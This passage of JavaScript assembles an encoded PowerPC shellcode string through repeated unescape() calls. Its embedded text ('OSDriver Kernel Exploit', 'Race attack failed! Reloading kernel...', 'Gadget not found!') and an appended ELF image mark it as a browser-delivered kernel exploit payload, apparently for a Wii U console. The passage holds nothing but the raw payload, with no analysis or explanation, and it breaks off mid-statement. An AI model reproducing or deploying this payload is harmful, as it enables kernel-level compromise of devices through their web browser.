unescape(\"%u7c71%u1b78%u3861%u0090%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufa75%u393c%u00ac%u7c72%u1b78%u3861%u00fc%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa55%u393c%u00b8\");\n    str    += unescape(\"%u7c75%u1b78%u3861%u00f0%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa35%u395c%u00c4%u7c6f%u1b78%u3861%u00e4%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u3b9c%u00d0%u4bff%ufa11\");\n    str    += unescape(\"%u3880%u000c%u7c73%u1b78%u3861%u00d8%u7cbc%u64aa%u7ca3%u65aa%u80a1%u011c%u4bff%uf9f5%u393f%u0080%u3940%u00a0%u913a%u000c%u915a%u007c%u3920%u0000%u3959%u000c%u38df%u01f8%u38bf%u0220%u913a%u0078\");\n    str    += unescape(\"%u90da%u0084%u391f%u0208%u915a%u0098%u3880%u0004%u90bf%u014c%u38bf%u0218%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452\");\n    str    += unescape(\"%u38bf%u021c%u80e1%u010c%u90bf%u01c4%u60c6%u5643%u38bf%u0228%u911f%u0118%u90bf%u01dc%u3900%u0004%u38b9%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c77%u1b78%u929f%u0114%u911f%u011c\");\n    str    += unescape(\"%u929f%u0174%u911f%u017c%u915f%u01f8%u913f%u0200%u913f%u0204%u913f%u020c%u913f%u0214%u925f%u0124%u933f%u0154%u921f%u0164%u925f%u0184%u923f%u01b4%u933f%u01e4%u913f%u0218%u913f%u021c%u913f%u0224\");\n    str    += unescape(\"%u913f%u022c%u91ff%u0220%u92bf%u0228%u90db%u000c%u38c0%u0170%u90db%u007c%u38de%u01a8%u90db%u0084%u913b%u0078%u915b%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094\");\n    str    += unescape(\"%u6129%uc0de%u38fe%u0204%u915e%u01a8%u90fe%u0118%u3d40%u4452%u38fe%u01b8%u913e%u0204%u813d%u0014%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158\");\n    str    += unescape(\"%u911e%u018c%u915e%u01b8%u90de%u01ac%u929e%u0124%u90be%u01a4%u907e%u01c0%u3860%u0008%u921e%u0114%u925e%u0134%u923e%u0164%u933e%u0194%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6\");\n    str    += unescape(\"%u3884%u24f9%u7c7c%u1b78%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u24fe%u7c74%u1b78%u4e80%u0421%u7f83%ue378\");\n    str    += unescape(\"%u3880%u0004%u38a0%u0000%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u3880%u0004%u7c7c%u1b78%u38a0%u0000%u7e83%ua378%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u7c69%ue379%u41a2%u0038%u8061%u0158%u3c80%u0180\");\n    str    += unescape(\"%u3884%u2503%u38a0%u0002%u4bff%uf425%u3c60%u2fff%u6063%uffff%u4bff%uf0c9%u8061%u0158%u8081%u0110%u4bff%uf619%u8061%u0158%u4bff%uf589%u8121%u0148%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u7c7c%u1b79%u40a2%u0038%u8061%u0158%u3c80%u0180%u3884%u253c%u38a0%u0002%u4bff%uf3d5%u3c60%u2fff%u6063%uffff%u4bff%uf079%u8061%u0158%u8081%u0110%u4bff%uf5c9%u8061%u0158%u4bff%uf539%u3d20%u0123\");\n    str    += unescape(\"%u7f83%ue378%u6129%u4567%u3880%u1000%u913c%u0000%u3d20%u4452%u6129%u5648%u913c%u0fb4%u3d20%u4158%u913c%u0fb8%u3920%u0008%u913c%u0ff4%u3d20%uffe8%u6129%u5960%u913c%u0ff8%u8121%u0140%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u013c%u7f83%ue378%u3880%u1000%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3920%u0000%u9923%u0007%u3c80%u0180%u8121%u014c%u38a0%u0007\");\n    str    += unescape(\"%u3884%u256c%u7c79%u1b78%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0%u6129%u2214%u3ca0%uc000%u9123%u0000%u3d20%ufff0%u6129%u2234%u3880%u0004\");\n    str    += unescape(\"%u60a5%u0004%u38c0%u0004%u9123%u0004%u7ee9%u03a6%u7c75%u1b78%u7e83%ua378%u4e80%u0421%u8121%u0130%u9281%u006c%u9121%u0088%u8121%u0124%u9381%u0070%u9121%u0084%u8121%u0128%u93e1%u007c%u7d29%u03a6\");\n    str    += unescape(\"%u93c1%u0080%u9341%u0074%u9361%u0078%u92e1%u008c%u8281%u012c%u8381%u0134%u4e80%u0421%u7e89%u03a6%u4e80%u0421%u3c80%u0180%u7c69%u1b78%u3884%u024c%u38a0%u0001%u38c1%u006c%u38f6%u0300%u3900%u0300\");\n    str    += unescape(\"%u3940%u001a%u7f89%u03a6%u7f03%uc378%u4e80%u0421%u8121%u0124%u7d29%u03a6%u4e80%u0421%u8121%u0130%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u8121%u0120%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u2f83%u0000\");\n    str    += unescape(\"%u409e%u0034%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u8121%u0124%u7d29%u03a6%u4e80%u0421%u4bff%uffbc%u3880%u0006%u7ea5%uab78%u38c0%u0008\");\n    str    += unescape(\"%u7ee9%u03a6%u7f23%ucb78%u4e80%u0421%u3920%u002a%u7c25%u0b78%u7f23%ucb78%u9525%u0108%u3880%u0006%u38c0%u0004%u7e69%u03a6%u4e80%u0421%u8121%u0108%u6d2a%ufff0%u2f8a%u2214%u419e%u0038%u8061%u0158\");\n    str    += unescape(\"%u3c80%u0180%u3884%u2573%u38a0%u0002%u4bff%uf1a1%u3c60%u2fff%u6063%uffff%u4bff%uee45%u8061%u0158%u8081%u0110%u4bff%uf395%u8061%u0158%u4bff%uf305%u3c60%uff20%u3e80%uff20%u6063%u000c%u3e60%u4452\");\n    str    += unescape(\"%u4bff%uf5b1%u3e40%u4452%u5463%u2036%u3b20%u0000%u3ee3%uff20%u3b80%u0000%u3af7%u0014%u6294%u0013%u6273%u5641%u6252%u5648%u7f97%ua040%u409d%u0048%u7ee3%ubb78%u4bff%uf57d%u7c75%u1b78%u4bff%uf575\");\n    str    += unescape(\"%u7f83%u9800%u419e%u0014%u7f83%u9000%u40be%u0010%u7eb9%uab78%u4800%u0008%u7ebc%uab78%u2f9c%u0000%u419e%u000c%u2f99%u0000%u409e%u0050%u3af7%ufff0%u4bff%uffb8%u2f9c%u0000%u419e%u000c%u2f99%u0000\");\n    str    += unescape(\"%u409e%u0038%u8061%u0158%u3c80%u0180%u3884%u259b%u38a0%u0002%u4bff%uf0d9%u3c60%u2fff%u6063%uffff%u4bff%ued7d%u8061%u0158%u8081%u0110%u4bff%uf2cd%u8061%u0158%u4bff%uf23d%u7f84%ue378%u3879%u0048\");\n    str    += unescape(\"%u4bff%uf545%u813d%u0018%u7f43%ud378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fe3%ufb78%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u813d%u0018%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3961%u01b0%u4800%u0bc8%u7c08%u02a6%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102\");\n    str    += unescape(\"%u9001%u0044%u63de%u8460%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u3240%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u324d%u38c1%u0018\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3265%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3279%u38c1%u0010%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u328f%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u32a5%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c\");\n    str    += unescape(\"%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c\");\n    str    += unescape(\"%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6\");\n    str    += unescape(\"%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014\");\n    str    += unescape(\"%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%u6e60\");\n    str    += unescape(\"%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u32b7%u4e80%u0421%u3d20%u0102%u6129%u8460%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000%u38a5%u32c2%u4e80%u0421%u8121%u0008%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024\");\n    str    += unescape(\"%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u32d6%u4bff%ufc81%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14\");\n    str    += unescape(\"%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000\");\n    str    += unescape(\"%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1\");\n    str    += unescape(\"%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78\");\n    str    += unescape(\"%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%u6e60%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u32e7%u3881%u0094%u3fe0%u0102%u63ff%u8460%u4e80%u0421%u3ca0%u0180%u38c1%u008c\");\n    str    += unescape(\"%u8061%u0094%u3880%u0000%u38a5%u32f4%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180\");\n    str    += unescape(\"%u3929%u25d0%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u32fb%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0001%u38a5%u3315%u38c1%u0090%u9121%u001c\");\n    str    += unescape(\"%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u332a%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3331\");\n    str    += unescape(\"%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3347%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3354%u38c1%u0028%u7fe9%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3366%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uef59\");\n    str    += unescape(\"%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u336c%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u3374%u38c1%u006c%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u337d%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u338f%u38c1%u0064%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u33a1\");\n    str    += unescape(\"%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180\");\n    str    += unescape(\"%u3861%u0008%u3884%u33b0%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378\");\n    str    += unescape(\"%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffeb%u6063%u9074%u3880%u0000%u4bff%uedd5%u3c60%uffeb%u6063%u9078%u3c80%u1400\");\n    str    += unescape(\"%u4bff%uedc5%u3fe0%u0102%u3ca0%u0180%u63ff%u8460%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u33de%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33ed%u38c1%u0084\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u38a5%u33fc%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008\");\n    str    += unescape(\"%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u3411%u4bff%uf845%u8161%u0088%u3c80%u0180%u7fe3%ufb78%u3884%u18a0%u38a0%u0001\");\n    str    += unescape(\"%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u344d%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8\");\n    str    += unescape(\"%u3c60%uffe8%u3c80%u0180%u6063%u5924%u3884%u17e8%u4bff%uec75%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3481%u38c1%u0078%u38e1%u007c%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99\");\n    str    += unescape(\"%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue175%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u3487%u38c1%u0070%u38e1%u0074%u3900%u0000\");\n    str    += unescape(\"%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue129%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u348f\");\n    str    += unescape(\"%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000%u7c89%u2214%u4bff%ue0dd%u8081%u0008%u3ca0%u0180\");\n    str    += unescape(\"%u3920%u0000%u3861%u0008%u38a5%u3495%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214\");\n    str    += unescape(\"%u4bff%ue091%u3c60%uffe8%u3c80%u0180%u6063%u5968%u3884%u0058%u4bff%ueb31%u3c60%uffe8%u3c80%ufff0%u6063%u4d60%u6084%u2214%u4bff%ueb1d%u3c60%uffe8%u3c80%ufff0%u6063%u5160%u6084%u2214%u4bff%ueb09\");\n    str    += unescape(\"%u3c60%uffe8%u3c80%ufff0%u6063%u5d60%u6084%u2214%u4bff%ueaf5%u3c60%uffe8%u3c80%ufff0%u6063%u5560%u6084%u2214%u4bff%ueae1%u3c60%uffe8%u3c80%ufff0%u6063%u4d64%u6084%u2234%u4bff%ueacd%u3c60%uffe8\");\n    str    += unescape(\"%u3c80%ufff0%u6063%u5164%u6084%u2234%u4bff%ueab9%u3c60%uffe8%u3c80%ufff0%u6063%u5d64%u6084%u2234%u4bff%ueaa5%u3c60%uffe8%u3c80%ufff0%u6063%u5564%u6084%u2234%u4bff%uea91%u4bff%udfe5%u8121%u0014\");\n    str    += unescape(\"%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u019a%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udfa5%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400\");\n    str    += unescape(\"%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf85%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%udf71%u3c60%uc080%u3920%u0000%u6063%u1304%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf55\");\n    str    += unescape(\"%u3d20%u0102%u3c60%uc080%u6129%u6e60%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%u8460%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c90%u38a0%u0020%u9121%u0050%u3d20%uffe8%u6129%u5090%u9121%u0054\");\n    str    += unescape(\"%u3d20%uffe8%u6129%u5c90%u9121%u0058%u3d20%uffe8%u6129%u5490%u9121%u005c%u3d20%uffe8%u6129%u5890%u9121%u0060%u3d20%u1005%u6129%ua8c0%u9121%u004c%u4bff%udee1%u8121%u0008%u3c60%uc201%u38a0%u0004\");\n    str    += unescape(\"%u6063%ubd4c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%udeb5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%ubd4c%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8\");\n    str    += unescape(\"%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78\");\n    str    += unescape(\"%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004%u2c1f%u0000%u4082%uffec%u8001%u0014%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6\");\n    str    += unescape(\"%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78%u8081%u0004%u7c88%u03a6%u4e80%u0020%u80c1%u0014%u9061%u0010%u8001%u0010%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034\");\n    str    += unescape(\"%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300\");\n    str    += unescape(\"%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002%u4e80%u0020%u6d65%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554\");\n    str    += unescape(\"%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353\");\n    str    += unescape(\"%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765\");\n    str    += unescape(\"%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045\");\n    str    += unescape(\"%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400\");\n    str    += unescape(\"%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f%u7265%u696e%u6974%u0073%u7973%u6170%u7000%u6d65%u6d63%u7079%u0044%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76\");\n    str    += unescape(\"%u616c%u6964%u6174%u6552%u616e%u6765%u004f%u5347%u6574%u5468%u7265%u6164%u5072%u696f%u7269%u7479%u004f%u5347%u6574%u4375%u7272%u656e%u7454%u6872%u6561%u6400%u4f53%u5969%u656c%u6454%u6872%u6561\");\n    str    += unescape(\"%u6400%u5f5f%u5050%u4345%u7869%u7400%u5359%u5353%u7769%u7463%u6854%u6f42%u726f%u7773%u6572%u0053%u5953%u4c61%u756e%u6368%u5365%u7474%u696e%u6773%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174\");\n    str    += unescape(\"%u6520%u7468%u7265%u6164%u7321%u2050%u6c65%u6173%u6520%u7472%u7920%u6167%u6169%u6e2e%u0052%u756e%u6e69%u6e67%u2045%u7870%u6c6f%u6974%u2e2e%u2e00%u4f53%u536c%u6565%u7054%u6963%u6b73%u0044%u5256\");\n    str    += unescape(\"%u4100%u4452%u5642%u0052%u6567%u6973%u7465%u7228%u2920%u6f66%u2064%u7269%u7665%u7220%u4120%u616e%u6420%u4220%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00\");\n    str    += unescape(\"%u4661%u696c%u6564%u2074%u6f20%u616c%u6c6f%u6361%u7465%u2070%u6179%u6c6f%u6164%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4452%u5648%u4158%u0052%u6163%u6520%u6174%u7461\");\n    str    += unescape(\"%u636b%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2066%u696e%u6420%u4452%u5641%u206f%u7220%u4452%u5648%u4158%u2120%u5265\");\n    str    += unescape(\"%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u0000%u7f45%u4c46%u0102%u0100%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020\");\n    str    += unescape(\"%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0b64%u0000%u0b64%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6\");\n    str    += unescape(\"%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378\");\n    str    += unescape(\"%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c\");\n    str    += unescape(\"%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6\");\n    str    += 